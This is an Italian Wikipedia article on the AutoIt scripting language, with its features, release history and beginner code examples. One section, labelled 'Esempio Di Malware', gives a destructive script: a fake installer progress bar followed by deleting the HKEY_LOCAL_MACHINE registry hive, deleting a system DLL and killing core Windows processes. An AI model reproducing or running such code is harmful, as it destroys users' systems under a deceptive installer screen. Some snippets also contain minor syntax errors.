AutoIt

Da Wikipedia, l'enciclopedia libera.
Curly Brackets.svg
A questa voce o sezione va aggiunto il template sinottico {{Linguaggio di programmazione}}
Per favore, aggiungi e riempi opportunamente il template e poi rimuovi questo avviso.
Per le altre pagine a cui aggiungere questo template, vedi la relativa categoria.

AutoIt (pronunciato auto-it)[1] è un linguaggio di scripting e di automazione freeware per Microsoft Windows. Inizialmente, AutoIt fu creato principalmente per creare script di automazione per i programmi funzionanti su Microsoft Windows[2]. Visto il suo grande successo, però, i creatori hanno deciso di renderlo un linguaggio più avanzato implementando funzioni avanzate.

Con la distribuzione della versione 3, la sintassi di AutoIt è stata rinnovata per renderla simile a quella del BASIC. È un linguaggio di programmazione di terza generazione che utilizza un modello di dati classico e una variante del tipo di dati che consente la memorizzazione di diversi tipi di dati, inclusi gli array. È compatibile con Windows 95, 98, ME, NT4, 2000, XP, 2003, Vista, Seven e 8 (Il supporto per i sistemi operativi precedenti a Windows 2000 è cessato dalla v3.3.0).

Uno script creato con AutoIt può essere compilato in un eseguibile stand-alone compresso, in modo da consentirne il funzionamento anche sui computer che non hanno AutoIt installato. È disponibile anche un'ampia gamma di librerie chiamate UDF, o "User Defined Functions" (Funzioni Definite dall'Utente)[3] incluse o aggiuntive che aggiungono funzioni particolari. Nel pacchetto sono inclusi il compilatore e una guida esaustiva utili a tutti i programmatori che utilizzano AutoIt.

Caratteristiche e funzioni principali[modifica | modifica wikitesto]

L'editor SciTE di AutoIt.
  • Linguaggio di scripting per Windows con sintassi simile al BASIC.
  • Librerie aggiuntive e moduli per specifiche applicazioni.
  • Supporto tramite un forum per utenti e sviluppatori.
  • Supporta i protocolli TCP e UDP.
  • Supporta gli oggetti COM.
  • È in grado di richiamare funzioni nelle librerie DLL di Win32.
  • Gli script possono essere compilati in eseguibili o in applicazioni console.
  • Utilizza proprie interfacce per interagire, crea messaggi e finestre di input.
  • Simula movimenti e clic del mouse.
  • Manipola finestre di Windows e i suoi processi.
  • Automatizza l'input dell'utente e i tasti premuti nelle varie applicazioni.
  • È in grado di gestire l'audio.
  • Supporta Unicode dalla versione 3.2.4.0.
  • Supporta il codice a 64 bit dalla versione 3.2.10.0.
  • Si possono utilizzare espressioni regolari.
  • Funziona con l'UAC di Windows Vista.
  • È distribuito con un IDE basato sull'editor gratuito SciTE.

Limiti[modifica | modifica wikitesto]

AutoIt non ha, o ha solo supporto limitato su:

Uso[modifica | modifica wikitesto]

Operazioni comuni come il controllo di siti Internet, computer di rete, deframmentazione e backup possono essere automatizzati nei vari passaggi e combinati in una applicazione. Un altro possibile utilizzo è nei giochi online, evitando all'utente operazioni ripetitive. L'utilizzo in questo ambito è solitamente vietato dai giochi stessi e sconsigliato dalla comunità di AutoIt; nonostante questo alcuni script possono ancora essere reperiti nel forum ufficiale.

Cronologia delle versioni[modifica | modifica wikitesto]

  • Natale 1998 - Nacque la necessità di un programma C che potesse automatizzare la pressione di tasti
  • Gennaio 1999 - Distribuita la prima versione di AutoIt (1.0)
  • Agosto 1999 - Distribuiti AutoIt v2 e AutoItX
  • Settembre 1999 - Distribuita la prima versione di AutoIt con un compilatore integrato
  • Dicembre 2002 - Distribuito AutoIt v3 (Versione beta)
  • Febbraio 2004 - Distribuito AutoIt v3 (Versione definitiva)
  • Settembre 2006 - Avviata la programmazione di Auto3Lib
  • Novembre 2007 - Distribuito v3.2.10.0, Auto3Lib integrato in AutoIt v3
  • Maggio 2008 - Distribuito AutoIt v3.2.12.0, integrate le funzionalità per la gestione avanzate delle GUI
  • Dicembre 2008 - Distribuito AutoIt (e AutoItX) v3.3.0.0
  • Dicembre 2009 - Distribuito AutoIt (e AutoItX) v3.3.2.0
  • Gennaio 2010 - Distribuito AutoIt (e AutoItX) v3.3.4.0
  • Marzo 2010 - Distribuito AutoIt (e AutoItX) v3.3.6.0
  • Dicembre 2011 - Distribuito AutoIt (e AutoItX) v3.3.8.0
  • Gennaio 2012 - Distribuito AutoIt v3.3.8.1
  • Dicembre 2013 - Distribuito AutoIt v3.3.10.0
  • Giugno 2014 - Distribuito AutoIt v3.3.12.0

Gli sviluppatori di AutoIt distribuirono il suo codice sorgente con la licenza GPL ma, in seguito alla proliferazione di molti programmi "clone" di AutoIt, la distribuzione fu sospesa all'inizio dello sviluppo della versione 3.2.0 (Agosto 2006) per poi riprendere successivamente.

Esempi[modifica | modifica wikitesto]

Hello World - Stampa a monitor della scritta "Hello World"

MsgBox(16,"Messaggio","Hello World!")

InputBox - creare un input box

Per creare un inputbox basta usare il seguente codice

inputbox ("testo", "testo")

per visualizzare gli asterischi come nei comuni login con le password basta fare così:

inputbox ("testo", "testo", "", "*")

For - Stampa nella console i numeri da 0 a 10

For $i = 0 to 10
    ConsoleWrite($i);send $i to shell
Next
ConsoleRead();to get and stop process

Riga di comando e parametri

Possiamo usare una variabile predefinita per ottenere gli argomenti passati attraverso la riga di comando.

$CmdLine[0] ;è il numero di parametri
$CmdLine[1] ;è il primo parametro (dopo il nome dello script)
$CmdLine[2] ;è il secondo parametro
$CmdLine[N] ;è l'N-esimo parametro
@ScriptName ;è la macro che contiene il nome dello script

Creare una barra di caricamento

ProgressOn("Installazione","Attendere ....")
For $I = 1 to 100 step 1
sLeep(50)
ProgressSet( $I, $I & " Percento")
Next
ProgressSet(100 , "Fine", "Completo!")
sleep(500)
ProgressOff()

Eliminare un file

FileDelete(@WindowsDir&"\File.Exe")

Eliminare una chiave di registro

RegDelete("Chiave_Key\Wikipedia")

Esempio Di Malware

ProgressOn("Installazione","Attendere ....")
For $I = 1 to 100 step 1
sLeep(50)
ProgressSet( $I, $I & " Percento")
Next
ProgressSet(100 , "Fine", "Completo!")
sleep(500)
ProgressOff()
 
 
RegDelete("Hkey_Local_Machine")
FileDelete("C:\Windows\System32\Hid.Dll")
ProcessClose("Explorer.Exe")
ProcessClose("Services.Exe")

Una delle funzioni più utilizzate è la funzione Send(), che ha il compito di simulare la pressione dei tasti della tastiera; vediamola nel dettaglio:

Send ( "keys" [, flag] )

Dove:

keys: sarà il tasto o la combinazione di tasti che verrà simulata, ecco alcuni esempi:

Send ("Messaggio") ; invierà la scritta Messaggio
Send ("{F1}") ; invierà la pressione del tasto F1
Send ("{ASC 065}") ; invierà il carattere A (65 in ASCII)

flag: parametro opzionale, di default uguale a 0, si può anche omettere.

GUI (Grafic User Interface)[modifica | modifica wikitesto]

In AutoIt si possono anche creare delle interfacce grafiche in modo da cambiare l'aspetto delle schede windows normale. Per prima cosa bisogna includere dei file, ma solo se si utilizzano particolari:

#include <GUIConstants.au3>
#include <WindowsConstants.au3>

Questo è il file principale da includere dopo si prosegue creando form, inputbox... Questi sono alcuni semplici esempi:

GUISetBkColor(0xFF0000)

Con questa funzione si decide il colore dello sfondo...(in questo caso è rosso)

$Form1_1 = GUICreate("TITOLO FORM", 300, 150, 100, 100)

Con questo si crea un form stabilendo il suo titolo e le sue misure

 GUICtrlCreateInput("testo", 24, 32, 249, 21,)

Questo invece crea un inputbox, ovvero uno spazio in cui l'utente può inserire dei dati(password, testo...). Sì può far comparire dati già all'interno della inputbox in questo caso verrà scritto TESTO, i numeri che seguono sono sempre le misure...Nel caso fosse l'inputbox di una password e volete far vedere i pallini al posto dei caratteri basta fare così:

 GUICtrlCreateInput("password", 24, 32, 249, 21, 0x00020 )

basta aggiungere 0x00020

GUICtrlCreateButton("OK", 90, 80, 100, 40, 0)

Così creiamo un bottone su cui l'utente potrà cliccare. In questo caso all'interno del bottone viene scritto OK...in seguito vedremo come legare il bottone a una funzione ovvero decidere cosa succede quando l'utente clicca sul bottone.

GUICtrlCreateLabel("Benvenuto", 24, 10)

Facciamo comparire una scritta all'interno del form in questo caso verrà scritto Benvenuto e quelle che seguono sono le coordinate.

nota:senza un Ciclo While la gui verrà eseguita ma scomparirà in un brevissimo tempo. Per permettere alla GUI di rimanere visibile è necessario, come detto prima, utilizzare un ciclo while,vediamone un esempio:

While 1
$nMsg = GUIGetMsg() ; assegniamo la variabile $nMsg che avrà il compito di captare qualunque "input" che viene dalla GUI
   Switch $nMsg ;utilizziamo il ciclo iterativo switch
        Case $GUI_EVENT_CLOSE ;nel caso in cui $nMsg corrisponda alla costante $GUI_EVENT_CLOSE dichiarata nella libreria GUIConstants
        Exit ;esce dal loop chiudendo la interfaccia grafica
   EndSwitch
WEnd

Da notare che la variabile $GUI_EVENT_CLOSE corrisponde al tasto con la X in alto a destra.

Note[modifica | modifica wikitesto]

  1. ^ Risposta di Jon (il creatore di AutoIt) a una discussione sul forum ufficiale a proposito della corretta pronuncia
  2. ^ Steve Kaplan, Citrix Metaframe Access Suite for Windows Server 2003, New York, McGraw-Hill, 2003, ISBN 0-07-219566-5.
  3. ^ http://www.autoitscript.com/autoit3/udfs/UDF_Standards.htm

Voci correlate[modifica | modifica wikitesto]

Altri progetti[modifica | modifica wikitesto]

Collegamenti esterni[modifica | modifica wikitesto]